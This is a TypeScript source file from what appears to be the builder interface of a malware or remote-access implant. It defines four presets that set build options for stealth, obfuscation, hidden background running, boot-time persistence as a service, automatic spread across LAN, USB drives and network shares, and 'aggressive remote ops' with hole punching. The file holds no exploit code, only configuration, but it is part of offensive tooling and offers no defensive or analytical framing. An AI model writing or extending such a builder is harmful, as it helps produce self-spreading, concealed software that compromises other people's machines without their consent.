import type { BuildRequest } from '../types'; export type SpreadProfileId = 'web_drop' | 'desktop_fusion' | 'lan_kindling' | 'crucible_ops'; export interface SpreadProfile { id: SpreadProfileId; label: string; color: string; blurb: string; apply: (form: BuildRequest) => BuildRequest; } export const SPREAD_PROFILES: SpreadProfile[] = [ { id: 'web_drop', label: 'Web Drop', color: '#3dd6c6', blurb: 'Headless Linux — small, systemd, no screenshot, minimal spread', apply: (f) => ({ ...f, target_os: 'linux', target_arch: 'amd64', spread_kit: false, fusion_enabled: false, stealth_mode: true, file_logging: false, remote_aggressive: false, auto_spread: false, usb_spread: false, share_spread: false, run_as: 'service', autostart_mode: 'boot_task', }), }, { id: 'desktop_fusion', label: 'Desktop Fusion', color: '#f0abfc', blurb: 'Big stealth fusion — garble on, visible UI off', apply: (f) => ({ ...f, target_os: 'universal', target_arch: 'all', spread_kit: false, fusion_enabled: true, stealth_mode: true, display_mode: 'background', obfuscate: true, remote_aggressive: false, auto_spread: false, }), }, { id: 'lan_kindling', label: 'LAN Kindling', color: '#ff6b2c', blurb: 'Universal spread kit + autospread for LAN/USB', apply: (f) => ({ ...f, target_os: 'universal', target_arch: 'all', spread_kit: true, fusion_enabled: false, stealth_mode: true, auto_spread: true, usb_spread: true, share_spread: true, remote_aggressive: false, }), }, { id: 'crucible_ops', label: 'Crucible Ops', color: '#c9a227', blurb: 'Aggressive remote ops enabled for Crucible', apply: (f) => ({ ...f, remote_aggressive: true, hole_punch: true, auto_spread: false, }), }, ]; export function applySpreadProfile(form: BuildRequest, id: SpreadProfileId): BuildRequest { const profile = SPREAD_PROFILES.find((p) => p.id === id); return profile ? profile.apply(form) : form; }